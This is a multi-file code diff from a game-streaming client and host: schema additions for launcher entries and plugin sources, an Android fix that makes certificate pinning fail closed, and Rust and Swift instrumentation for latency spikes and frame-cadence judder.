"description": "An environment variable a launcher stamps onto the game's process, identifying it.\n\nSerializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin\nthat knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to\nbe able to say so, since after extraction the host no longer reads that launcher's files itself.",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"description": "The variable name (e.g. `HEROIC_GAME_ID`).",
"example": "HEROIC_APP_NAME"
},
"value": {
"type": [
"string",
"null"
],
"description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time."
}
}
},
"EventKind": {
"oneOf": [
{
@@ -5255,10 +5165,6 @@
],
"description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
},
"store": {
"type": "string",
"description": "Which store surfaced it: `\"steam\"` or `\"custom\"`.",
@@ -5390,14 +5296,6 @@
}
}
},
"GameRole": {
"type": "string",
"description": "What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big\nPicture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,\nleases and lists exactly like a game (design D4), and clients that don't know the field render it\nas a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged\nfor every entry that doesn't opt in.",
"enum": [
"game",
"launcher"
]
},
"GameSession": {
"type": "string",
"description": "How a session that **launches a game** (a library id on the Hello / apps.json / Decky pin) is\nserved (`design/gamemode-and-dedicated-sessions.md` §5.2). Orthogonal to the preset/lifecycle axes\n— a top-level [`DisplayPolicy`] field, NOT part of [`EffectivePolicy`], so a preset never clobbers\nit. Linux-only in effect (a launching Windows session opens into the one desktop).",
@@ -6436,13 +6334,6 @@
"title"
],
"properties": {
"category": {
"type": [
"string",
"null"
],
"description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category."
},
"title": {
"type": "string",
"description": "Human-readable title for the console nav entry (164 chars; control chars stripped)."
@@ -6475,13 +6366,6 @@
"title"
],
"properties": {
"category": {
"type": [
"string",
"null"
],
"description": "The plugin's kind — see [`PluginRegistration::category`]."
},
"id": {
"type": "string"
},
@@ -6720,10 +6604,6 @@
},
"description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`."
},
"title": {
"type": "string"
}
@@ -6900,46 +6780,26 @@
},
"ScannerInfo": {
"type": "object",
"description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible.",
"description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host.",
"required": [
"id",
"label",
"enabled",
"origin"
"enabled"
],
"properties": {
"enabled": {
"type": "boolean",
"description": "Whether this host runs the source (default true)."
},
"entries": {
"type": [
"integer",
"null"
],
"description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle.",
"minimum": 0
"description": "Whether this host runs the scanner (default true)."
},
"id": {
"type": "string",
"description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin.",
"description": "Stable scanner id — the same string the scanner's entries carry in their `store` field.",
"example": "steam"
},
"label": {
"type": "string",
"description": "Human-facing name for the console toggle.",
"example": "Steam"
},
"origin": {
"$ref": "#/components/schemas/SourceOrigin",
"description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`."
},
"provider": {
"type": [
"string",
"null"
],
"description": "The provider id backing a `plugin` source — absent for a built-in scanner."
}
}
},
@@ -7102,14 +6962,6 @@
}
}
},
"SourceOrigin": {
"type": "string",
"description": "Where a [`ScannerInfo`] comes from.",
"enum": [
"builtin",
"plugin"
]
},
"SourceView": {
"type": "object",
"description": "A configured catalog source and how its last refresh went.",
@@ -127,8 +127,14 @@ object LibraryClient {
* An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
* SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client
* reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
* defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
* accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
* defers to normal public trust for any other origin (an external CDN URL).
*
* The two checks are only sound TOGETHER, and the composition is the point: the trust manager
* cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
* hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
* certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2
* found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
* default verifier; the pin is its only credential, on purpose.
*/
fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
val clientCert = CertificateFactory.getInstance("X.509")
@@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)
val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
val verifier = HostnameVerifier { hostname, session ->
hostname == host || defaultVerifier.verify(hostname, session)
if (hostname == host) {
// The PINNED host fails closed: only the pinned leaf is acceptable for this name.
//
// This used to be a bare `hostname == host`, which composed with the trust manager's
// system-CA fall-through into "any publicly-trusted certificate, for any name, is
// accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
// MITM with any free CA-issued cert intercepted the connection, received the client's
// mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
// The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
// only Android did not.
try {
sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
} catch (_: Exception) {
false
}
} else {
// Any other origin (an external CDN art URL) is ordinary public trust: the system
// trust manager validated the chain, and this checks the name against it.
defaultVerifier.verify(hostname, session)
}
}
return OkHttpClient.Builder()
+155 -20
View File
@@ -28,6 +28,76 @@ use super::{
NO_VIDEO_RETRY, PENDING_SPLIT_CAP,
};
/// How long a flagged AU waits for the host's 0xCF timing before being logged unattributed.
/// Comfortably longer than the round the host takes to report, short enough that the line still
/// lands near the event in the log.
const SPIKE_ATTRIBUTE_WAIT_NS: i64 = 500_000_000;
/// Bound on AUs awaiting attribution — a stream that spikes constantly must not grow this.
const SPIKE_WATCH_CAP: usize = 64;
/// One receipt-latency excursion, held until the host's own timing for the same AU arrives.
///
/// The point of this record is attribution. A window maximum cannot say WHERE a 90 ms frame
/// spent its time — the per-stage maxima in a window are generally different frames — so the
/// stage split has to be captured per AU, for the offending AU.
struct SpikeWatch {
pts_ns: u64,
/// Capture → reassembled, skew-corrected: the host pipeline plus the wire.
hostnet_us: u64,
au_len: usize,
/// Since the previous AU was reassembled — separates "this frame was slow" from "the
/// stream stalled and then burst", which look identical in a latency percentile.
gap_us: u64,
idx: u32,
seen_mono: i64,
}
impl SpikeWatch {
/// `host_us` = the host's own capture→submit time for this AU (0xCF), or `None` when the
/// host never reported it. `net` is the remainder: wire + reassembly.
fn log(&self, host_us: Option<u64>) {
log::warn!(
target: "pf.spike",
"idx={} hostnetMs={:.1} hostMs={} netMs={} gapMs={:.1} bytes={}",
self.idx,
self.hostnet_us as f64 / 1000.0,
host_us.map_or("?".into(), |h| format!("{:.1}", h as f64 / 1000.0)),
host_us.map_or("?".into(), |h| format!(
"{:.1}",
self.hostnet_us.saturating_sub(h) as f64 / 1000.0
)),
self.gap_us as f64 / 1000.0,
self.au_len,
);
}
}
/// `debug.punktfunk.spike_ms` (1..=2000): log a per-AU stage breakdown for every receipt latency
/// at or above this. Unset = off, so the instrument costs nothing until someone asks for it.
fn spike_threshold_us() -> Option<u64> {
let mut buf = [0u8; 92]; // PROP_VALUE_MAX
// SAFETY: __system_property_get with a valid name + PROP_VALUE_MAX buffer is always safe.
let n = unsafe {
libc::__system_property_get(
c"debug.punktfunk.spike_ms".as_ptr(),
buf.as_mut_ptr().cast(),
)
};
if n > 0 {
if let Ok(ms) = std::str::from_utf8(&buf[..n as usize])
.unwrap_or("")
.trim()
.parse::<u64>()
{
if (1..=2_000).contains(&ms) {
return Some(ms * 1_000);
}
}
}
None
}
/// One decoded output buffer ready to release: its codec buffer index + the pts the codec echoed
/// (from the output callback's `BufferInfo`), used to pair the `decode` HUD stat, and the
/// wall-clock instant the output callback fired — the spec's `decoded` point ("decoder output
@@ -584,6 +654,14 @@ fn feeder_loop(
// Last logged phase-lock ACK (the host's applied capture hold, from the 0xCF tail) — logged
// on change so `adb logcat -s pf.phase` shows the closed loop working (or not) at a glance.
let mut last_phase_ack: Option<i32> = None;
// Latency-excursion watch (`debug.punktfunk.spike_ms`). Read once per stream: this is a
// field instrument, armed by setprop + reconnect, and off by default.
let spike_thresh_us = spike_threshold_us();
if let Some(t) = spike_thresh_us {
log::info!("decode: spike watch armed at {} ms (pf.spike)", t / 1000);
}
let mut spike_watch: VecDeque<SpikeWatch> = VecDeque::new();
let mut last_recv_mono: Option<i64> = None;
while !shutdown.load(Ordering::Relaxed) {
match client.next_frame(Duration::from_millis(5)) {
Ok(frame) => {
@@ -599,6 +677,44 @@ fn feeder_loop(
// Park the receipt stamp (keyed by the pts the codec echoes) whenever the `decode`
// stage is consumed: the HUD, or the ABR decode signal (`measure_decode`). The
// HUD-only `received` point + host/network split stay gated on the overlay.
// The receipt latency is needed by the always-on spike watch below, so it is
// computed for every complete AU rather than only when the HUD is up.
let spike_lat_us = if frame.complete {
let received_ns = if frame.received_ns > 0 {
frame.received_ns as i128
} else {
now_realtime_ns()
};
let off = clock_offset.load(Ordering::Relaxed) as i128;
let lat_ns = received_ns + off - frame.pts_ns as i128;
(lat_ns > 0 && lat_ns < 10_000_000_000).then_some((lat_ns / 1000) as u64)
} else {
None
};
if let (Some(thresh_us), Some(lat_us)) = (spike_thresh_us, spike_lat_us) {
let now_mono = now_monotonic_ns();
let gap_us = last_recv_mono
.map(|p| ((now_mono - p) / 1000) as u64)
.unwrap_or(0);
last_recv_mono = Some(now_mono);
if lat_us >= thresh_us {
let au_len = frame.part.map_or(0, |p| p.offset as usize) + frame.data.len();
// Held for the host's 0xCF timing for this pts, which is what splits the
// excursion into host pipeline vs wire — the whole point. Emitted
// unattributed if that never arrives (see the drain below).
spike_watch.push_back(SpikeWatch {
pts_ns: frame.pts_ns,
hostnet_us: lat_us,
au_len,
gap_us,
idx: frame.frame_index,
seen_mono: now_mono,
});
if spike_watch.len() > SPIKE_WATCH_CAP {
spike_watch.pop_front();
}
}
}
if (stats.enabled() || measure_decode) && frame.complete {
// Core reassembly-completion stamp (ABI v9), NOT the pull instant: stamping
// here would fold the hand-off queue wait into the network latency figure
@@ -632,28 +748,47 @@ fn feeder_loop(
pending_split.pop_front();
}
}
while let Ok(t) = client.next_host_timing(Duration::ZERO) {
// Phase-lock closed-loop readout: the host's applied hold rides the
// 0xCF tail; log transitions (~1 Hz worst case — the host updates it
// once a second). None = a host without the tail (pre-phase-lock).
if t.applied_phase_ns != last_phase_ack {
log::info!(
target: "pf.phase",
"host applied_phase={:?}us",
t.applied_phase_ns.map(|n| n / 1000)
);
last_phase_ack = t.applied_phase_ns;
}
if let Some(i) = pending_split.iter().position(|&(p, _)| p == t.pts_ns)
{
let (_, hostnet_us) = pending_split.remove(i).unwrap();
stats.note_host_split(
t.host_us as u64,
hostnet_us.saturating_sub(t.host_us as u64),
);
}
}
}
// The 0xCF drain is OUTSIDE the HUD gate: it carries the host's own pipeline time
// per AU, which is what attributes a latency excursion to the host or the wire,
// and the phase-lock ack, which had no business being invisible with the HUD down.
while let Ok(t) = client.next_host_timing(Duration::ZERO) {
// Phase-lock closed-loop readout: the host's applied hold rides the
// 0xCF tail; log transitions (~1 Hz worst case — the host updates it
// once a second). None = a host without the tail (pre-phase-lock).
if t.applied_phase_ns != last_phase_ack {
log::info!(
target: "pf.phase",
"host applied_phase={:?}us",
t.applied_phase_ns.map(|n| n / 1000)
);
last_phase_ack = t.applied_phase_ns;
}
if stats.enabled() {
if let Some(i) = pending_split.iter().position(|&(p, _)| p == t.pts_ns) {
let (_, hostnet_us) = pending_split.remove(i).unwrap();
stats.note_host_split(
t.host_us as u64,
hostnet_us.saturating_sub(t.host_us as u64),
);
}
}
if let Some(i) = spike_watch.iter().position(|w| w.pts_ns == t.pts_ns) {
let w = spike_watch.remove(i).unwrap();
w.log(Some(t.host_us as u64));
}
}
// Anything the host never reported on still gets logged, unattributed, rather
// than silently dropped — an old host has no 0xCF tail at all.
let now_mono = now_monotonic_ns();
while spike_watch
.front()
.is_some_and(|w| now_mono - w.seen_mono > SPIKE_ATTRIBUTE_WAIT_NS)
{
if let Some(w) = spike_watch.pop_front() {
w.log(None);
}
}
if ev_tx.send(DecodeEvent::Au(frame, gap)).is_err() {
break; // the decode loop is gone
+1 -1
View File
@@ -185,7 +185,7 @@ unsafe extern "C" fn on_frame_rendered(
let display_us = paired.and_then(|(d, _)| clamp(displayed_ns - d));
let latch_us = paired.and_then(|(_, r)| clamp(displayed_ns - r));
// Always-on half: the presenter's pf-present line reads these with the HUD off.
t.meter.note_latch(latch_us);
t.meter.note_latch(latch_us, system_nano);
if !t.stats.enabled() {
return; // HUD hidden — skip the skew math + the stats lock
}
+56 -6
View File
@@ -22,7 +22,7 @@
use ndk::media::media_codec::MediaCodec;
use std::collections::VecDeque;
use std::sync::atomic::{AtomicBool, AtomicI32, Ordering};
use std::sync::atomic::{AtomicBool, AtomicI32, AtomicI64, Ordering};
use std::sync::Mutex;
use std::time::Instant;
@@ -152,6 +152,10 @@ pub(super) struct PresentMeter {
/// This device delivers render callbacks at all (API ≥ 33 and the platform accepted the
/// registration). Until one arrives, `undisplayed` is meaningless and the rail stays down.
confirms: AtomicBool,
/// The learned panel period the cadence statistic quantises against, republished by
/// [`Presenter::pump`] (the callback thread has no access to the vsync clock). 0 until the
/// grid is known, which simply means cadence is not scored yet.
panel_period_ns: AtomicI64,
}
struct PresentMeterInner {
@@ -166,6 +170,9 @@ struct PresentMeterInner {
/// Capture→decoded end-to-end µs (skew-corrected, clamped) — always on for the same reason:
/// the wireless A/B's headline without having to reach the on-screen HUD.
e2e_us: Vec<u64>,
/// The cadence (judder) statistic — the only stat here that is not a latency, and the only
/// one that can see a pacing defect. See [`punktfunk_core::phase::PresentIntervals`].
intervals: punktfunk_core::phase::PresentIntervals,
}
impl PresentMeter {
@@ -177,19 +184,33 @@ impl PresentMeter {
feed_us: Vec::with_capacity(256),
codec_us: Vec::with_capacity(256),
e2e_us: Vec::with_capacity(256),
intervals: punktfunk_core::phase::PresentIntervals::new(),
}),
undisplayed: AtomicI32::new(0),
confirms: AtomicBool::new(false),
panel_period_ns: AtomicI64::new(0),
}
}
/// Republish the learned panel period for the cadence statistic (presenter thread).
pub(super) fn set_panel_period(&self, period_ns: i64) {
self.panel_period_ns.store(period_ns, Ordering::Relaxed);
}
/// One displayed frame's release→displayed latch, µs. Callback thread; poison-proof.
///
/// Also the glass budget's CONFIRM: this frame left the BufferQueue, so one outstanding
/// release is settled. Clamped at zero — the legacy `arrival` path renders without going
/// through [`Presenter::pump`], so confirms can outnumber counted releases.
pub(super) fn note_latch(&self, latch_us: Option<u64>) {
///
/// `present_mono_ns` is SurfaceFlinger's own render timestamp, raw on `CLOCK_MONOTONIC` —
/// deliberately not the realtime-rebased instant the latency stats use. Cadence is a
/// statistic about *spacing*, and a realtime clock step (NTP) would forge a hitch that never
/// happened. Garbage stamps need no special handling here: an implausible one lands in the
/// stall or disordered counters rather than the judder ratio.
pub(super) fn note_latch(&self, latch_us: Option<u64>, present_mono_ns: i64) {
self.confirms.store(true, Ordering::Relaxed);
let period_ns = self.panel_period_ns.load(Ordering::Relaxed);
let _ = self
.undisplayed
.fetch_update(Ordering::Relaxed, Ordering::Relaxed, |v| {
@@ -200,6 +221,7 @@ impl PresentMeter {
.lock()
.unwrap_or_else(std::sync::PoisonError::into_inner);
g.displays += 1;
g.intervals.record(present_mono_ns, period_ns);
if let Some(l) = latch_us {
if g.latch_us.len() < 4096 {
g.latch_us.push(l);
@@ -258,7 +280,17 @@ impl PresentMeter {
}
#[allow(clippy::type_complexity)] // one caller unpacks it in place; a struct would be noise
fn drain(&self) -> (Vec<u64>, u64, Vec<u64>, Vec<u64>, Vec<u64>) {
fn drain(
&self,
) -> (
Vec<u64>,
u64,
Vec<u64>,
Vec<u64>,
Vec<u64>,
(u32, u32, u32),
Option<punktfunk_core::phase::PresentCadence>,
) {
let mut g = self
.inner
.lock()
@@ -271,6 +303,8 @@ impl PresentMeter {
std::mem::take(&mut g.feed_us),
std::mem::take(&mut g.codec_us),
std::mem::take(&mut g.e2e_us),
g.intervals.pending(),
g.intervals.take(),
)
}
}
@@ -410,6 +444,11 @@ impl Presenter {
stats: &crate::stats::VideoStats,
now_mono_ns: i64,
) -> bool {
// The callback thread scores cadence but cannot see the vsync clock — republish the grid
// it quantises against. Relaxed: a period change is rare and one stale sample is noise.
if let Some(c) = clock {
meter.set_panel_period(c.panel_period_ns().max(c.period_ns()));
}
// Budget bookkeeping first: reopen on the predicted latch, force-open on the backstop.
if let Some(f) = &self.inflight {
if now_mono_ns >= f.reopen_at_ns {
@@ -547,7 +586,11 @@ impl Presenter {
/// `pace` (decoded→release) / `latch` (release→displayed) /
/// `feed`+`codec` (the decode stage split: received→queued hand-off/slot wait + the
/// codec-pure queued→decoded time) / `e2e` (capture→decoded, skew-corrected — the wireless
/// A/B headline) / `vsync` (the measured panel period).
/// A/B headline) / `vsync` (the measured panel period) /
/// `judder` (‰ of present intervals off the modal spacing — the cadence statistic, and the
/// only number here that can see a pacing defect) / `mode` (the modal spacing in refreshes:
/// 1 at panel rate, 2 for 60-on-120) / `stalls` + `disorder` (excluded from the ratio; see
/// [`punktfunk_core::phase::PresentIntervals`]).
///
/// Returns this window's CIRCULAR latch statistics `(vector-mean latch ns mod panel period,
/// coherence ‰)` when a window actually flushed — the phase-lock reporter's v2 error signal
@@ -561,7 +604,7 @@ impl Presenter {
return None;
}
self.last_flush = Instant::now();
let (latch, displays, feed, codec, e2e) = meter.drain();
let (latch, displays, feed, codec, e2e, cad_raw, cadence) = meter.drain();
if self.released == 0 && displays == 0 {
return None; // idle stream — nothing worth a line
}
@@ -584,7 +627,8 @@ impl Presenter {
paceMs p50={:.2} max={:.2} latchMs p50={:.2} max={:.2} \
feedMs p50={:.2} max={:.2} codecMs p50={:.2} max={:.2} \
e2eMs p50={:.2} max={:.2} circ={:.2}ms coh={} \
vsyncMs={:.2} panelMs={:.2}",
vsyncMs={:.2} panelMs={:.2} \
judder={}permille mode={}vsync cadN={} stalls={} disorder={} cadPeriodMs={:.2}",
self.released,
displays,
self.paced_drops,
@@ -607,6 +651,12 @@ impl Presenter {
circ.map(|(_, c)| c).unwrap_or(0),
period_ms,
panel_ns as f64 / 1e6,
cadence.map(|c| c.judder_permille).unwrap_or(0),
cadence.map(|c| c.mode_units).unwrap_or(0),
cad_raw.0,
cad_raw.1,
cad_raw.2,
meter.panel_period_ns.load(Ordering::Relaxed) as f64 / 1e6,
);
self.released = 0;
// Margin adaptation, off the MEASURED latch. A release targets the first grid point past
@@ -474,6 +474,7 @@ private final class DeadlineLinkDelegate: NSObject, CAMetalDisplayLinkDelegate {
// The link's own pipeline depth, measured: how far ahead of glass this vend runs.
let leadS = update.targetPresentationTimestamp - CACurrentMediaTime()
stats?.vendLead(ms: leadS * 1000)
stats?.notePanelTarget(mediaTime: update.targetPresentationTimestamp)
// Same measurement into the floor meter (as a LatencyMeter sample: end = now, start =
// now lead) its 1 s p50 is the OS present floor SessionModel shaves off.
if leadS > 0, let floorMeter {
@@ -562,6 +563,112 @@ final class PresentGate: @unchecked Sendable {
}
}
/// One window's present-cadence summary (see `PresentIntervals`).
struct PresentCadence: Equatable {
/// The most common spacing, in whole panel refreshes: 1 at panel rate, 2 for 60-on-120.
let modeUnits: Int
/// Fraction of intervals that were NOT the mode, in . **The judder number.**
let judderPermille: Int
let samples: Int
/// Spacings wider than `maxUnits` stalls, not judder.
let stalls: Int
/// Present instants that did not advance (duplicate/out-of-order callbacks).
let disordered: Int
}
/// Present-interval distribution in whole panel refreshes the cadence (judder) statistic.
///
/// A **verbatim port of `punktfunk_core::phase::PresentIntervals`**, in the same spirit as
/// `PhaseReporter.circularLatch` above: the three clients must publish the SAME statistic, so the
/// numbers can be compared across platforms and so a feature-on/off A/B uses one ruler. Any change
/// here belongs in the Rust original first including the tie-break, which is spelled out on both
/// sides precisely because the two languages' `max` disagree about which equal element wins.
///
/// Every other stat we publish is a latency: a difference between two points on one frame. No
/// latency can see judder, because judder is a property of the *sequence*. A stream that shows each
/// frame one refresh early and the next one late has excellent percentiles and looks broken.
///
/// Fed the MEASURED on-glass instant, never the requested present time the latter would measure
/// our own intent and report a perfect cadence no matter what the display did.
struct PresentIntervals {
/// Largest spacing still treated as cadence; wider is a stall, counted apart.
private static let maxUnits = 8
/// Minimum intervals before a summary means anything (matches `circularLatch`'s bar).
private static let minSamples = 8
/// A backwards step larger than this is a bogus timestamp, not a reordered delivery, so the
/// run re-anchors rather than holding the old instant. Without it, one garbage far-future
/// stamp latches the statistic and every later present scores as disordered for the whole
/// session observed on glass on Android, 2026-08-05.
private static let reanchorNs: Int64 = 100_000_000
private var lastPresentNs: Int64 = 0
private var hist = [Int](repeating: 0, count: PresentIntervals.maxUnits + 1)
private var samples = 0
private var stalls = 0
private var disordered = 0
/// Forget the previous instant without discarding the window's counts a discontinuity where
/// the next present does not continue this cadence.
mutating func split() { lastPresentNs = 0 }
/// Fold one on-glass instant. A non-positive `periodNs` means the grid is not known yet and
/// the sample is held as the new predecessor without being scored.
mutating func record(presentNs: Int64, periodNs: Int64) {
let prev = lastPresentNs
lastPresentNs = presentNs
guard prev > 0, periodNs > 0 else { return }
let spacing = presentNs - prev
if spacing <= 0 {
// Hold the LATER instant so one reordered delivery cannot corrupt every following
// spacing but only when the step back is small enough to BE a reordering. Beyond
// that the old instant is the bogus one (see `reanchorNs`) and the run re-anchors
// onto the new sample, which `lastPresentNs` already holds.
disordered += 1
if prev - presentNs < PresentIntervals.reanchorNs {
lastPresentNs = prev
}
return
}
// Nearest whole refresh: a present is "on the grid" if it is closer to this vblank than
// the next, which is exactly what the display did with it.
let units = Int((spacing * 2 + periodNs) / (periodNs * 2))
if units > PresentIntervals.maxUnits {
stalls += 1
return
}
hist[units] += 1
samples += 1
}
/// This window's summary, or nil under `minSamples`.
func summary() -> PresentCadence? {
guard samples >= PresentIntervals.minSamples else { return nil }
// Ties resolve to the SMALLEST spacing see the Rust original: `max_by_key` takes the
// last maximum and Swift's `max(by:)` the first, so this is written out on both sides.
var modeUnits = 0
var modeCount = 0
for (i, c) in hist.enumerated() where c > modeCount {
modeCount = c
modeUnits = i
}
return PresentCadence(
modeUnits: modeUnits,
judderPermille: (samples - modeCount) * 1000 / samples,
samples: samples, stalls: stalls, disordered: disordered)
}
/// Drain the window. The previous instant SURVIVES the cadence continues across a window
/// boundary, and dropping it would manufacture one unscored interval per window.
mutating func take() -> PresentCadence? {
let out = summary()
hist = [Int](repeating: 0, count: PresentIntervals.maxUnits + 1)
samples = 0
stalls = 0
disordered = 0
return out
}
}
/// PUNKTFUNK_PRESENT_DEBUG=1 aggregation: one printed line per second from the render thread with
/// the decode rate, render outcomes, the slowest render call ( nextDrawable wait) and the deltas
/// between system-reported on-glass times (vsync-aligned presents show clean refresh-period
@@ -588,6 +695,50 @@ private final class PresentDebugStats: @unchecked Sendable {
/// 120 Hz panel saturates this at ~maximumDrawableCount; stage-3 pegs it at the gate depth).
private var inFlight = 0
private var maxInFlight = 0
/// The cadence (judder) statistic the only number here that is not a latency, and the only
/// one that can see a pacing defect. `glassDeltasMs` above is the same raw material reported
/// as a percentile, which cannot distinguish a steady 2-refresh cadence from an alternating
/// 1-and-3 one: same mean, same median, one of them visibly broken.
private var intervals = PresentIntervals()
/// The panel period cadence quantises against: seeded from the display mode and refined from
/// the link's own reported period, mirroring `punktfunk_core::phase::PanelGrid`'s seed-then-
/// correct design. 0 until known, which simply means cadence is not scored yet.
private var panelPeriodNs: Int64 = 0
/// Deadline-pacing period learner state (see `notePanelTarget`). Re-armed each window so a
/// mode or VRR rate change is tracked both ways rather than latching the first value seen.
private var lastTargetS: CFTimeInterval = 0
private var minTargetSpacingS: CFTimeInterval = 0
/// Whether the verbose per-second line prints. The cadence line always does: a smoothness
/// defect must not be invisible until someone thinks to set an env var.
private let verbose: Bool
init(verbose: Bool) { self.verbose = verbose }
/// Seed or refine the panel period (render/link thread).
func setPanelPeriod(ns: Int64) {
guard ns > 0 else { return }
lock.lock()
panelPeriodNs = ns
lock.unlock()
}
/// Deadline pacing has no reported period, so learn it from the link's own target instants.
/// Those tick at the panel rate whether or not WE present, which is what makes the window
/// minimum the true period the same reasoning (and the same guard band) `PhaseReporter`
/// uses above. Learning it from on-glass spacings instead would read a 60-on-120 stream as a
/// 60 Hz panel and mislabel the cadence mode.
func notePanelTarget(mediaTime t: CFTimeInterval) {
lock.lock()
defer { lock.unlock() }
defer { lastTargetS = t }
guard lastTargetS > 0 else { return }
let d = t - lastTargetS
guard d > 0.0005, d < 0.1 else { return }
if minTargetSpacingS == 0 || d < minTargetSpacingS {
minTargetSpacingS = d
panelPeriodNs = Int64(d * 1_000_000_000)
}
}
func emptyWake() { lock.lock(); empty += 1; lock.unlock() }
@@ -624,8 +775,13 @@ private final class PresentDebugStats: @unchecked Sendable {
if lastGlassNs > 0 { glassDeltasMs.append(Double(atNs - lastGlassNs) / 1e6) }
lastGlassNs = atNs
latchMs.append(Double(atNs - issuedNs) / 1e6)
intervals.record(presentNs: atNs, periodNs: panelPeriodNs)
} else {
// A dropped drawable never reached glass, so it is not a cadence event but the
// NEXT one does not continue the previous interval either. Split rather than let
// the gap read as judder.
dropped += 1
intervals.split()
}
lock.unlock()
}
@@ -656,6 +812,9 @@ private final class PresentDebugStats: @unchecked Sendable {
smoothing.overflowDrops, smoothing.underflows, maxRenderMs, inflightMax,
gate?.drainForced() ?? 0, p50, dMax, deltas.count, latchP50, latchMax,
vendP50, vendMax)
let cadence = intervals.take()
let verbose = self.verbose
minTargetSpacingS = 0 // re-arm the period learner for the next window
ok = 0; failed = 0; empty = 0; dropped = 0; gated = 0; noDrawable = 0
maxRenderMs = 0
maxInFlight = inFlight // the window peak restarts from the live depth
@@ -663,6 +822,21 @@ private final class PresentDebugStats: @unchecked Sendable {
latchMs.removeAll(keepingCapacity: true)
vendLeadMs.removeAll(keepingCapacity: true)
lock.unlock()
// The cadence line is ALWAYS emitted (when the window had evidence): it is the ruler the
// smoothness A/B reads, and it must not depend on an env var the field never sets. The
// verbose counters line stays behind its existing lever.
if let cadence {
let cadenceLine = String(
format: "pf-present judderPermille=%d modeVsync=%d n=%d stalls=%d disorder=%d",
cadence.judderPermille, cadence.modeUnits, cadence.samples,
cadence.stalls, cadence.disordered)
presentLog.info("\(cadenceLine, privacy: .public)")
if presentDebug {
print(cadenceLine)
fflush(stdout)
}
}
guard verbose else { return }
// Console.app first (the on-device readout see presentLog); stdout only under the env
// lever (the CLI client's capture channel).
presentLog.info("\(line, privacy: .public)")
@@ -746,6 +920,10 @@ public final class Stage2Pipeline {
/// mirror the pump's bounded join.
private let renderSignal = DispatchSemaphore(value: 0)
private let vsyncClock = VsyncClock()
/// The per-session present statistics, retained so the clock-bearing threads can republish
/// the panel period the cadence statistic quantises against. Assigned once in `start`, read
/// from the render/link threads; the object is itself lock-guarded.
private var presentStats: PresentDebugStats?
private let renderStopped = DispatchSemaphore(value: 0)
private var renderJoinable = false
/// Deadline pacing's staged CAMetalDisplayLink frame-rate hint (see `FrameRateHint`).
@@ -967,7 +1145,14 @@ public final class Stage2Pipeline {
// startDeadlinePresenter. The V-Sync policy below doesn't apply there (the link deadline-
// times every present). Deadline sessions ALWAYS carry the stats (their pf-present line
// streams to Console.app via presentLog the on-device pacing decomposition).
let debugStats = (presentDebug || pacing == .deadline) ? PresentDebugStats() : nil
//
// The stats object is now built for EVERY session, because the cadence statistic inside
// it has to be: a smoothness defect produces no drops and healthy percentiles, so gating
// it behind an env var means the one number that could see it is off exactly when it
// matters. `verbose` preserves the old behaviour for the wordy counters line.
let debugStats: PresentDebugStats? = PresentDebugStats(
verbose: presentDebug || pacing == .deadline)
presentStats = debugStats
if pacing == .deadline {
startDeadlinePresenter(debugStats: debugStats)
return
@@ -1241,6 +1426,9 @@ public final class Stage2Pipeline {
/// (their CAMetalDisplayLink's updates are both clock and retry).
public func renderTick(targetMediaTime: CFTimeInterval, period: CFTimeInterval) {
vsyncClock.set(target: targetMediaTime, period: period)
// The link's own reported period is the authoritative grid for the cadence statistic
// it tracks VRR rate changes, which a mode-derived seed cannot.
presentStats?.setPanelPeriod(ns: Int64(period * 1_000_000_000))
renderSignal.signal()
}
@@ -0,0 +1,170 @@
// Parity tests for the Swift `PresentIntervals` port (Video/Stage2Pipeline.swift) against
// `punktfunk_core::phase::PresentIntervals` the cadence (judder) statistic of
// design/presenter-cadence-rework.md WP1.
